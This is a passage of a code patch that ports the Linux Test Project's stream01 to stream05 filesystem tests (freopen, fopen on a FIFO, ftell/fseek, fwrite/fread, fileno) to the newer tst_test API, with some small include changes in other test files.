Andrea Cervesato <andrea.cervesato@suse.com> + */ + +/*\ + * Verify that `freopen()` substitutes the named file in place of stream. * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * [Algorithm] * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * - fopen() a stream + * - fwrite() something inside it + * - perform freopen() creating a new stream pointing to the first one + * - fwrite() data inside the new stream + * - check that second write to stream went to the file specified by freopen() */ -/* ported from SPIE section2/filesuite/stream1.c, by Airong Zhang */ +#include "tst_test.h" +#include "tst_safe_stdio.h" -/*====================================================================== - =================== TESTPLAN SEGMENT =================== ->KEYS: < freopen() ->WHAT: < 1) check that freopen substitutes the named file in place of stream. ->HOW: < 1) open a stream, write something to it, perform freopen and - < write some more. Check that second write to stream went to - < the file specified by freopen. ->BUGS: < -======================================================================*/ +#define FILENAME1 "ltp_file1.txt" +#define FILENAME2 "ltp_file2.txt" -#include <stdio.h> -#include <errno.h> -#include "test.h" +static char *buff_file1 = "abc"; +static char *buff_file2 = "def"; -char *TCID = "stream01"; -int TST_TOTAL = 1; -int local_flag; +static void read_file(const char *file, const char *str, size_t n) +{ + char buf[128]; + FILE *stream; + size_t len; -#define PASSED 1 -#define FAILED 0 + memset(buf, 0, sizeof(buf)); -/* XXX: add setup and cleanup. */ + stream = SAFE_FOPEN(file, "r"); + len = SAFE_FREAD(buf, 1, n, stream); + SAFE_FCLOSE(stream); -char progname[] = "stream01()"; -char tempfile1[40] = ""; -char tempfile2[40] = ""; + TST_EXP_EXPR(len == n, "Read the entire %s file buffer", file); + TST_EXP_EQ_STRN(buf, str, n); +} -/*--------------------------------------------------------------------*/ -int main(int ac, char *av[]) +static void run(void) { FILE *stream; - char buf[10]; - int i; - int lc; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - local_flag = PASSED; - tst_tmpdir(); - for (lc = 0; TEST_LOOPING(lc); lc++) { + tst_res(TINFO, "Write %s file", FILENAME1); + stream = SAFE_FOPEN(FILENAME1, "a+"); + SAFE_FWRITE(buff_file1, 1, strlen(buff_file1), stream); - sprintf(tempfile1, "stream011.%d", getpid()); - sprintf(tempfile2, "stream012.%d", getpid()); - /*--------------------------------------------------------------------*/ - //block0: - if ((stream = fopen(tempfile1, "a+")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) a+ failed: %s", - tempfile1, - strerror(errno)); - } - fwrite("a", 1, 1, stream); - if ((stream = freopen(tempfile2, "a+", stream)) == NULL) { - tst_brkm(TFAIL | TERRNO, NULL, "freopen(%s) a+ failed", - tempfile2); - } - fwrite("a", 1, 1, stream); - fclose(stream); + tst_res(TINFO, "Write %s file streaming into %s file", FILENAME2, FILENAME1); + stream = SAFE_FREOPEN(FILENAME2, "a+", stream); + SAFE_FWRITE(buff_file2, 1, strlen(buff_file2), stream); - /* now check that a single "a" is in each file */ - if ((stream = fopen(tempfile1, "r")) == NULL) { - tst_brkm(TFAIL | TERRNO, NULL, "fopen(%s) r failed", - tempfile1); - } else { - for (i = 0; i < 10; i++) - buf[i] = 0; - fread(buf, 1, 1, stream); - if ((buf[0] != 'a') || (buf[1] != 0)) { - tst_resm(TFAIL, "bad contents in %s", - tempfile1); - local_flag = FAILED; - } - fclose(stream); - } - if ((stream = fopen(tempfile2, "r")) == NULL) { - tst_brkm(TFAIL | TERRNO, NULL, "fopen(%s) r failed", - tempfile2); - } else { - for (i = 0; i < 10; i++) - buf[i] = 0; - fread(buf, 1, 1, stream); - if ((buf[0] != 'a') || (buf[1] != 0)) { - tst_resm(TFAIL, "bad contents in %s", - tempfile2); - local_flag = FAILED; - } - fclose(stream); - } - if (local_flag == PASSED) { - tst_resm(TPASS, "Test passed."); - } else { - tst_resm(TFAIL, "Test failed."); - } + SAFE_FCLOSE(stream); - local_flag = PASSED; + read_file(FILENAME1, buff_file1, 3); + read_file(FILENAME2, buff_file2, 3); - /*--------------------------------------------------------------------*/ - unlink(tempfile1); - unlink(tempfile2); - - } /* end for */ - tst_rmdir(); - tst_exit(); + SAFE_UNLINK(FILENAME1); + SAFE_UNLINK(FILENAME2); } + +static struct tst_test test = { + .test_all = run, + .needs_tmpdir = 1, +}; diff --git a/ltp/testcases/kernel/fs/stream/stream02.c b/ltp/testcases/kernel/fs/stream/stream02.c index 98473d86..9486ce85 100644 --- a/ltp/testcases/kernel/fs/stream/stream02.c +++ b/ltp/testcases/kernel/fs/stream/stream02.c @@ -1,119 +1,45 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) International Business Machines Corp., 2002 + * ported from SPIE section2/filesuite/stream2.c, by Airong Zhang * - * Copyright (c) International Business Machines Corp., 2002 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2026 Andrea Cervesato <andrea.cervesato@suse.com> */ -/* ported from SPIE section2/filesuite/stream2.c, by Airong Zhang */ - -/*====================================================================== - =================== TESTPLAN SEGMENT =================== ->KEYS: < fseek() mknod() fopen() ->WHAT: < 1) ->HOW: < 1) ->BUGS: < -======================================================================*/ - -#include <stdio.h> -#include <errno.h> -#include <fcntl.h> -#include <unistd.h> -#include <sys/types.h> -#include <sys/stat.h> -#include "test.h" -char *TCID = "stream02"; -int TST_TOTAL = 1; -int local_flag; +/*\ + * Verify that it's possible to `fopen()` a file that has been created by + * `mknod()` using different modes. + */ -#define PASSED 1 -#define FAILED 0 +#include "tst_test.h" +#include "tst_safe_stdio.h" -char progname[] = "stream02()"; -char tempfile1[40] = ""; +#define FILENAME "ltp_file_node" -/* XXX: add cleanup + setup. */ +static const char *const modes[] = { + "r+", + "w+", + "a+", +}; -/*--------------------------------------------------------------------*/ -int main(int ac, char *av[]) +static void run(void) { FILE *stream; - int fd; - int lc; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - local_flag = PASSED; - tst_tmpdir(); + SAFE_MKNOD(FILENAME, (S_IFIFO | 0666), 0); - for (lc = 0; TEST_LOOPING(lc); lc++) { + for (size_t i = 0; i < ARRAY_SIZE(modes); i++) { + TST_EXP_PASS_PTR_NULL(fopen(FILENAME, modes[i]), + "fopen(%s, %s)", FILENAME, modes[i]); - sprintf(tempfile1, "stream1.%d", getpid()); - /*--------------------------------------------------------------------*/ - //block0: - if (mknod(tempfile1, (S_IFIFO | 0666), 0) != 0) { - tst_resm(TFAIL, "mknod failed in block0: %s", - strerror(errno)); - local_flag = FAILED; - goto block1; - } - if ((stream = fopen(tempfile1, "w+")) == NULL) { - tst_resm(TFAIL, "fopen(%s) w+ failed for pipe file: %s", - tempfile1, strerror(errno)); - local_flag = FAILED; - } else { - fclose(stream); - } - if ((stream = fopen(tempfile1, "a+")) == NULL) { - tst_resm(TFAIL, "fopen(%s) a+ failed: %s", tempfile1, - strerror(errno)); - local_flag = FAILED; - } else { - fclose(stream); - unlink(tempfile1); - } - if (local_flag == PASSED) { - tst_resm(TPASS, "Test passed in block0."); - } else { - tst_resm(TFAIL, "Test failed in block0."); - } - local_flag = PASSED; + if (TST_PASS) + SAFE_FCLOSE(TST_RET_PTR); + } - /*--------------------------------------------------------------------*/ -block1: - if ((fd = open("/dev/tty", O_WRONLY)) >= 0) { - close(fd); - if ((stream = fopen("/dev/tty", "w")) == NULL) { - tst_resm(TFAIL | TERRNO, - "fopen(/dev/tty) write failed"); - local_flag = FAILED; - } else { - fclose(stream); - } - } - if (local_flag == PASSED) { - tst_resm(TPASS, "Test passed in block1."); - } else { - tst_resm(TFAIL, "Test failed in block1."); - } - - /*--------------------------------------------------------------------*/ - } /* end for */ - tst_rmdir(); - tst_exit(); + SAFE_UNLINK(FILENAME); } + +static struct tst_test test = { + .test_all = run, + .needs_tmpdir = 1, +}; diff --git a/ltp/testcases/kernel/fs/stream/stream03.c b/ltp/testcases/kernel/fs/stream/stream03.c index 31715f74..24928c5e 100644 --- a/ltp/testcases/kernel/fs/stream/stream03.c +++ b/ltp/testcases/kernel/fs/stream/stream03.c @@ -1,297 +1,71 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) International Business Machines Corp., 2002 + * ported from SPIE, section2/filesuite/stream3.c, by Airong Zhang * - * Copyright (c) International Business Machines Corp., 2002 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2026 Andrea Cervesato <andrea.cervesato@suse.com> */ -/* ported from SPIE, section2/filesuite/stream3.c, by Airong Zhang */ - -/*====================================================================== - =================== TESTPLAN SEGMENT =================== ->KEYS: < fseek() ftell() ->WHAT: < 1) Ensure ftell reports the correct current byte offset. ->HOW: < 1) Open a file, write to it, reposition the file pointer and - check it. ->BUGS: < -======================================================================*/ -#define _XOPEN_SOURCE 500 -#include <stdio.h> -#include <errno.h> -#include <fcntl.h> -#include <sys/types.h> -#include <sys/stat.h> -#include <inttypes.h> -#include "test.h" +/*\ + * Verify that `ftell()` reports the correct current byte offset after + * moving it. + */ -char *TCID = "stream03"; -int TST_TOTAL = 1; -int local_flag; +#include "tst_test.h" +#include "tst_rand_data.h" +#include "tst_safe_stdio.h" -#define PASSED 1 -#define FAILED 0 +#define FILENAME "ltp_file" +#define DATASIZE 30 +#define BUFFSIZE 10 -char progname[] = "stream03()"; -char tempfile1[40] = ""; +static char *data; +static char *buff; -int main(int ac, char *av[]) +static void run(void) { FILE *stream; - char buf[30]; - char *junk = "abcdefghijklmnopqrstuvwxyz"; - long pos; - off_t opos; - int lc; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - - local_flag = PASSED; - tst_tmpdir(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - sprintf(tempfile1, "stream03.%d", getpid()); - /*--------------------------------------------------------------------*/ - //block0: - - if ((stream = fopen(tempfile1, "a+")) == NULL) { - tst_brkm(TBROK, NULL, "fopen(%s) a+ failed: %s", - tempfile1, - strerror(errno)); - } - - /* make sure offset of zero at start */ - pos = ftell(stream); - - if (pos != 0) { - tst_resm(TFAIL, "file pointer descrepancy 1"); - local_flag = FAILED; - } - - /* write something and check */ - if (fwrite(junk, sizeof(*junk), strlen(junk), stream) == 0) { - tst_brkm(TFAIL, NULL, "fwrite failed: %s", - strerror(errno)); - } - - pos = ftell(stream); - - if (pos != strlen(junk)) { - tst_resm(TFAIL, - "strlen(junk)=%zi: file pointer descrepancy 2 (pos=%li)", - strlen(junk), pos); - local_flag = FAILED; - } - - /* rewind and check */ - rewind(stream); - pos = ftell(stream); - - if (pos != 0) { - tst_resm(TFAIL, - "file pointer descrepancy 3 (pos=%li, wanted pos=0)", - pos); - local_flag = FAILED; - } - - /* seek from current position and then check */ - if (fseek(stream, strlen(junk), 1) != 0) { - tst_brkm(TFAIL, NULL, "fseek failed: %s", - strerror(errno)); - } - - pos = ftell(stream); - - if (pos != strlen(junk)) { - tst_resm(TFAIL, - "strlen(junk)=%zi: file pointer descrepancy 4 (pos=%li)", - strlen(junk), pos); - local_flag = FAILED; - } - - /* seek from end of file and then check */ - if (fseek(stream, 0, 2) != 0) { - tst_brkm(TFAIL, NULL, "fseek failed: %s", - strerror(errno)); - } - - pos = ftell(stream); - - if (pos != strlen(junk)) { - tst_resm(TFAIL, - "strlen(junk)=%zi: file pointer descrepancy 5 (pos=%li)", - strlen(junk), pos); - local_flag = FAILED; - } - - /* rewind with seek and then check */ - if (fseek(stream, 0, 0) != 0) { - tst_brkm(TFAIL, NULL, "fseek failed: %s", - strerror(errno)); - } - pos = ftell(stream); + memset(buff, 0, BUFFSIZE); - if (pos != 0) { - tst_resm(TFAIL, - "file pointer descrepancy 6 (pos=%li, wanted pos=0)", - pos); - local_flag = FAILED; - } + stream = SAFE_FOPEN(FILENAME, "a+"); + TST_EXP_EQ_LI(SAFE_FTELL(stream), 0); - /* read till EOF, do getc and then check ftell */ - while (fgets(buf, sizeof(buf), stream)) ; - pos = ftell(stream); - getc(stream); - pos = ftell(stream); + SAFE_FWRITE(data, 1, DATASIZE, stream); + TST_EXP_EQ_LI(SAFE_FTELL(stream), DATASIZE); - if (pos != strlen(junk)) { - tst_resm(TFAIL, - "strlen(junk)=%zi: file pointer descrepancy 7 (pos=%li)", - strlen(junk), pos); - local_flag = FAILED; - } + rewind(stream); + TST_EXP_EQ_LI(SAFE_FTELL(stream), SEEK_SET); - fclose(stream); + SAFE_FSEEK(stream, 10, SEEK_CUR); + TST_EXP_EQ_LI(SAFE_FTELL(stream), 10); - if (local_flag == PASSED) { - tst_resm(TPASS, "Test passed in block0."); - } else { - tst_resm(TFAIL, "Test failed in block0."); - } + SAFE_FSEEK(stream, 0, SEEK_END); + TST_EXP_EQ_LI(SAFE_FTELL(stream), DATASIZE); - local_flag = PASSED; + SAFE_FSEEK(stream, 0, SEEK_SET); + TST_EXP_EQ_LI(SAFE_FTELL(stream), 0); - unlink(tempfile1); - /*--------------------------------------------------------------------*/ - //block1: - if ((stream = fopen(tempfile1, "a+")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) a+ failed: %s", - tempfile1, - strerror(errno)); - } + while (fgets(buff, BUFFSIZE, stream)) + ; + TST_EXP_EQ_LI(SAFE_FTELL(stream), DATASIZE); - /* make sure offset of zero at start */ - opos = ftello(stream); - - if (opos != 0) { - tst_resm(TFAIL, - "file pointer descrepancy 1 (opos=%" PRId64 - ", wanted opos=0)", (int64_t) opos); - local_flag = FAILED; - } - - /* write something and check */ - if (fwrite(junk, sizeof(*junk), strlen(junk), stream) == 0) { - tst_brkm(TFAIL, NULL, "fwrite failed: %s", - strerror(errno)); - } - - opos = ftello(stream); - - if (opos != strlen(junk)) { - tst_resm(TFAIL, - "strlen(junk)=%zi: file pointer descrepancy 2 (opos=%" - PRId64 ")", strlen(junk), (int64_t) opos); - local_flag = FAILED; - } - - /* rewind and check */ - rewind(stream); - opos = ftello(stream); - - if (opos != 0) { - tst_resm(TFAIL, - "file pointer descrepancy 3 (opos=%" PRId64 - ", wanted opos=0)", (int64_t) opos); - local_flag = FAILED; - } - - /* seek from current position and then check */ - if (fseeko(stream, strlen(junk), 1) != 0) { - tst_brkm(TFAIL, NULL, "fseeko failed: %s", - strerror(errno)); - } - - opos = ftello(stream); - - if (opos != strlen(junk)) { - tst_resm(TFAIL, - "strlen(junk)=%zi: file pointer descrepancy 4 (opos=%" - PRId64 ")", strlen(junk), (int64_t) opos); - local_flag = FAILED; - } - - /* seek from end of file and then check */ - if (fseeko(stream, 0, 2) != 0) { - tst_brkm(TFAIL, NULL, "fseeko failed: %s", - strerror(errno)); - } - - opos = ftello(stream); - - if (opos != strlen(junk)) { - tst_resm(TFAIL, - "strlen(junk)=%zi: file pointer descrepancy 5 (opos=%" - PRId64 ")", strlen(junk), (int64_t) opos); - local_flag = FAILED; - } - - /* rewind with seek and then check */ - if (fseeko(stream, 0, 0) != 0) { - tst_brkm(TFAIL, NULL, "fseeko failed: %s", - strerror(errno)); - } - - opos = ftello(stream); - - if (opos != 0) { - tst_resm(TFAIL, - "file pointer descrepancy 6 (opos=%" PRId64 - ", wanted opos=0)", (int64_t) opos); - local_flag = FAILED; - } - - /* read till EOF, do getc and then check ftello */ - while (fgets(buf, sizeof(buf), stream)) ; - - opos = ftello(stream); - getc(stream); - opos = ftello(stream); - - if (opos != strlen(junk)) { - tst_resm(TFAIL, - "strlen(junk)=%zi: file pointer descrepancy 7 (opos=%li)", - strlen(junk), opos); - local_flag = FAILED; - } - - fclose(stream); - - if (local_flag == PASSED) { - tst_resm(TPASS, "Test passed in block1."); - } else { - tst_resm(TFAIL, "Test failed in block1."); - } - - unlink(tempfile1); - } + SAFE_FCLOSE(stream); + SAFE_UNLINK(FILENAME); +} - tst_rmdir(); - tst_exit(); +static void setup(void) +{ + memcpy(data, tst_rand_data, DATASIZE); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_tmpdir = 1, + .bufs = (struct tst_buffers[]) { + {&data, .size = DATASIZE}, + {&buff, .size = BUFFSIZE}, + {}, + }, +}; diff --git a/ltp/testcases/kernel/fs/stream/stream04.c b/ltp/testcases/kernel/fs/stream/stream04.c index 3dc67915..560792f0 100644 --- a/ltp/testcases/kernel/fs/stream/stream04.c +++ b/ltp/testcases/kernel/fs/stream/stream04.c @@ -1,124 +1,57 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) International Business Machines Corp., 2002 + * ported from SPIE, section2/filesuite/stream4.c, by Airong Zhang * - * Copyright (c) International Business Machines Corp., 2002 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2026 Andrea Cervesato <andrea.cervesato@suse.com> */ -/* Ported from SPIE, section2/iosuite/stream4.c, by Airong Zhang */ - -/*====================================================================== - =================== TESTPLAN SEGMENT =================== ->KEYS: < fwrite() fread() ->WHAT: < 1) Ensure fwrite appends data to stream. - < 2) Ensure fread and fwrite return values are valid. ->HOW: < 1) Open a file, write to it, and then check it. - < 2) Fwrite a know quanity, check return value. - < Fread a know quanity, check return value. ->BUGS: < -======================================================================*/ - -#include <stdio.h> -#include <errno.h> -#include <fcntl.h> -#include <sys/types.h> -#include <sys/stat.h> -#include "test.h" - -char *TCID = "stream04"; -int TST_TOTAL = 1; -int local_flag; +/*\ + * Ensure that `fwrite()` is appending data to stream and `fread()` + * `fwrite()` are returning the right data. + */ -#define PASSED 1 -#define FAILED 0 +#include "tst_test.h" +#include "tst_safe_stdio.h" -char progname[] = "stream04()"; -char tempfile1[40] = ""; -long ftell(); +#define FILENAME "ltp_file" +#define DATA "abcdefghijklmnopqrstuvwxyz" +#define DATASIZE sizeof(DATA) -/* XXX: add setup and cleanup */ +static char *data; +static char *buff; -/*--------------------------------------------------------------------*/ -int main(int ac, char *av[]) +static void run(void) { FILE *stream; - char *junk = "abcdefghijklmnopqrstuvwxyz"; - char *inbuf; - int ret; - int lc; + memset(buff, 0, DATASIZE); - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - tst_tmpdir(); - for (lc = 0; TEST_LOOPING(lc); lc++) { + stream = SAFE_FOPEN(FILENAME, "a+"); + TST_EXP_EQ_LI(fwrite(data, 1, DATASIZE, stream), DATASIZE); + SAFE_FCLOSE(stream); - local_flag = PASSED; + stream = SAFE_FOPEN(FILENAME, "r+"); + TST_EXP_EQ_LI(fread(buff, 1, DATASIZE, stream), DATASIZE); + SAFE_FCLOSE(stream); - sprintf(tempfile1, "stream04.%d", getpid()); - /*--------------------------------------------------------------------*/ - //block0: - if ((stream = fopen(tempfile1, "a+")) == NULL) { - tst_brkm(TFAIL | TERRNO, tst_rmdir, "fopen(%s) a+ failed", - tempfile1); - } - /* write something and check */ - if ((ret = - fwrite(junk, sizeof(*junk), strlen(junk), stream)) == 0) { - tst_brkm(TFAIL, tst_rmdir, "fwrite failed: %s", - strerror(errno)); - } + SAFE_UNLINK(FILENAME); - if ((size_t) ret != strlen(junk)) { - tst_resm(TFAIL, - "strlen(junk) = %zi != return value from fwrite = %zi", - strlen(junk), ret); - local_flag = FAILED; - } + TST_EXP_EQ_STRN(data, buff, DATASIZE); +} - fclose(stream); - if ((stream = fopen(tempfile1, "r+")) == NULL) { - tst_brkm(TFAIL, tst_rmdir, "fopen(%s) r+ failed: %s", tempfile1, - strerror(errno)); - } - if ((inbuf = malloc(strlen(junk))) == 0) { - tst_brkm(TBROK, tst_rmdir, "test failed because of malloc: %s", - strerror(errno)); - } - if ((ret = - fread(inbuf, sizeof(*junk), strlen(junk), stream)) == 0) { - tst_brkm(TFAIL, tst_rmdir, "fread failed: %s", - strerror(errno)); - } - if ((size_t) ret != strlen(junk)) { - tst_resm(TFAIL, - "strlen(junk) = %zi != return value from fread = %zi", - strlen(junk), ret); - local_flag = FAILED; - } - fclose(stream); - if (local_flag == PASSED) { - tst_resm(TPASS, "Test passed."); - } else { - tst_resm(TFAIL, "Test failed."); - } - /*--------------------------------------------------------------------*/ - unlink(tempfile1); - } /* end for */ - tst_rmdir(); - tst_exit(); +static void setup(void) +{ + memcpy(data, DATA, DATASIZE); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_tmpdir = 1, + .bufs = (struct tst_buffers []) { + {&data, .size = DATASIZE}, + {&buff, .size = DATASIZE}, + {}, + }, +}; diff --git a/ltp/testcases/kernel/fs/stream/stream05.c b/ltp/testcases/kernel/fs/stream/stream05.c index f561744c..04cb237a 100644 --- a/ltp/testcases/kernel/fs/stream/stream05.c +++ b/ltp/testcases/kernel/fs/stream/stream05.c @@ -1,230 +1,66 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) International Business Machines Corp., 2002 + * ported from SPIE section2/filesuite/stream.c, by Airong Zhang * - * Copyright (c) International Business Machines Corp., 2002 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2026 Andrea Cervesato <andrea.cervesato@suse.com> */ -/* ported from SPIE, section2/filesuite/stream.c, by Airong Zhang */ - -/*====================================================================== - =================== TESTPLAN SEGMENT =================== ->KEYS: < ferror() feof() clearerr() fileno() ->WHAT: < 1) check that ferror returns zero - < 2) check fileno returns valid file descriptor - < 3) check that feof returns zero (nonzero) appropriately - < 4) check that clearerr resets EOF indicator. ->HOW: < 1) open a stream and immediately execute ferror - < 2) use the file des returned from fileno to read a file - < written with stream - compare actual vs expected. - < 3) open stream and ensure feof returns zero, read to end of - < file and ensure feof returns non-zero. - < 4) after 3) above use clearerr and then use feof to ensure - < clearerr worked ->BUGS: < -======================================================================*/ - -#include <unistd.h> -#include <stdio.h> -#include <errno.h> -#include "test.h" +/*\ + * Verify that it's possible to read/write on a file descriptor returned by + * `fileno()` and to close it, leaving `fclose()` to raise EBADF error. + */ -char *TCID = "stream05"; -int TST_TOTAL = 1; -int local_flag; +#include "tst_test.h" +#include "tst_safe_stdio.h" +#include "tst_rand_data.h" -#define PASSED 1 -#define FAILED 0 +#define FILENAME "ltp_file" +#define DATASIZE 3 +#define BUFFSIZE (2 * DATASIZE) -char progname[] = "stream05()"; -char tempfile[40] = ""; +static char *data; +static char *buff; -/*--------------------------------------------------------------------*/ -int main(int ac, char *av[]) +static void run(void) { + int fd; FILE *stream; - char buf[10]; - int nr, fd; - - int lc; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - tst_tmpdir(); - local_flag = PASSED; - - for (lc = 0; TEST_LOOPING(lc); lc++) { - local_flag = PASSED; - - sprintf(tempfile, "stream05.%d", getpid()); - /*--------------------------------------------------------------------*/ - //block0: - if ((stream = fopen(tempfile, "a+")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) a+ failed: %s", - tempfile, - strerror(errno)); - } - fprintf(stream, "a"); - fclose(stream); - - if ((stream = fopen(tempfile, "r+")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) r+ failed: %s", - tempfile, - strerror(errno)); - } - - /* check that ferror returns zero */ - if (ferror(stream) != 0) { - tst_resm(TFAIL, "ferror did not return zero: %s", - strerror(errno)); - local_flag = FAILED; - } - - if (local_flag == PASSED) { - tst_resm(TPASS, "Test passed in block0."); - } else { - tst_resm(TFAIL, "Test failed in block0."); - } - local_flag = PASSED; + memset(buff, 0, BUFFSIZE); - /*--------------------------------------------------------------------*/ - //block1: + stream = SAFE_FOPEN(FILENAME, "a+"); + SAFE_FWRITE(data, 1, DATASIZE, stream); + SAFE_FFLUSH(stream); - /* check that fileno returns valid file descriptor */ - fd = fileno(stream); - if ((nr = read(fd, buf, 1)) < 0) { - tst_brkm(TFAIL, NULL, "read failed: %s", - strerror(errno)); - } - if (nr != 1) { - tst_resm(TFAIL, "read did not read right number"); - local_flag = FAILED; - } - if (buf[0] != 'a') { - tst_resm(TFAIL, "read returned bad values"); - local_flag = FAILED; - } - if (local_flag == PASSED) { - tst_resm(TPASS, "Test passed in block1."); - } else { - tst_resm(TFAIL, "Test failed in block1."); - } + fd = SAFE_FILENO(stream); + SAFE_WRITE(SAFE_WRITE_ALL, fd, data, DATASIZE); - local_flag = PASSED; - /*--------------------------------------------------------------------*/ - //block2: + SAFE_FSYNC(fd); + SAFE_FSEEK(stream, 0, SEEK_SET); + SAFE_READ(1, fd, buff, BUFFSIZE); - /* read to EOF and ensure feof returns non-zero */ - fclose(stream); + TST_EXP_EQ_STRN(data, buff, DATASIZE); + TST_EXP_EQ_STRN(data, buff + 3, DATASIZE); - if ((stream = fopen(tempfile, "r+")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) r+ failed: %s", - tempfile, - strerror(errno)); - } - if (feof(stream) != 0) { - tst_resm(TFAIL, - "feof returned non-zero when it should not: %s", - strerror(errno)); - local_flag = FAILED; - } - fread(buf, 1, 2, stream); /* read to EOF */ - if (feof(stream) == 0) { - tst_resm(TFAIL, - "feof returned zero when it should not: %s", - strerror(errno)); - local_flag = FAILED; - } + SAFE_CLOSE(fd); + TST_EXP_FAIL(fclose(stream), EBADF); - if (local_flag == PASSED) { - tst_resm(TPASS, "Test passed in block2."); - } else { - tst_resm(TFAIL, "Test failed in block2."); - } - - local_flag = PASSED; - /*--------------------------------------------------------------------*/ - //block3: - /* ensure clearerr works */ - clearerr(stream); - if (feof(stream) != 0) { - tst_resm(TFAIL, "clearerr failed: %s", strerror(errno)); - local_flag = FAILED; - } - if (local_flag == PASSED) { - tst_resm(TPASS, "Test passed in block3."); - } else { - tst_resm(TFAIL, "Test failed in block3."); - } - - local_flag = PASSED; - /*--------------------------------------------------------------------*/ - //block4: - - /* test fopen "b" flags -- should be allowed but ignored */ - (void)fclose(stream); - - if ((stream = fopen(tempfile, "rb")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) rb failed: %s", - tempfile, - strerror(errno)); - } - (void)fclose(stream); - - if ((stream = fopen(tempfile, "wb")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) wb failed: %s", - tempfile, - strerror(errno)); - } - (void)fclose(stream); - - if ((stream = fopen(tempfile, "ab")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) ab failed: %s", - tempfile, - strerror(errno)); - } - (void)fclose(stream); - - if ((stream = fopen(tempfile, "rb+")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) rb+ failed: %s", - tempfile, - strerror(errno)); - } - (void)fclose(stream); - - if ((stream = fopen(tempfile, "wb+")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) wb+ failed: %s", - tempfile, - strerror(errno)); - } - (void)fclose(stream); - - if ((stream = fopen(tempfile, "ab+")) == NULL) { - tst_brkm(TFAIL, NULL, "fopen(%s) ab+ failed: %s", - tempfile, - strerror(errno)); - } - (void)fclose(stream); + SAFE_UNLINK(FILENAME); +} - tst_resm(TPASS, "Test passed in block4."); - /*--------------------------------------------------------------------*/ - unlink(tempfile); - } /* end for */ - tst_rmdir(); - tst_exit(); +static void setup(void) +{ + memcpy(data, tst_rand_data, DATASIZE); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_tmpdir = 1, + .bufs = (struct tst_buffers []) { + {&data, .size = DATASIZE}, + {&buff, .size = BUFFSIZE}, + {}, + }, +}; diff --git a/ltp/testcases/kernel/input/input_common.h b/ltp/testcases/kernel/input/input_common.h index 5b175577..9acdb86b 100644 --- a/ltp/testcases/kernel/input/input_common.h +++ b/ltp/testcases/kernel/input/input_common.h @@ -10,7 +10,7 @@ #include <poll.h> #include "tst_test.h" -#include "tst_uinput.h" +#include "tse_uinput.h" static inline int open_event_device(void) { diff --git a/ltp/testcases/kernel/io/direct_io/diotest1.c b/ltp/testcases/kernel/io/direct_io/diotest1.c index 03a054b4..c6c50ff4 100644 --- a/ltp/testcases/kernel/io/direct_io/diotest1.c +++ b/ltp/testcases/kernel/io/direct_io/diotest1.c @@ -40,7 +40,7 @@ #include "diotest_routines.h" #include "test.h" -#include "safe_macros.h" +#include 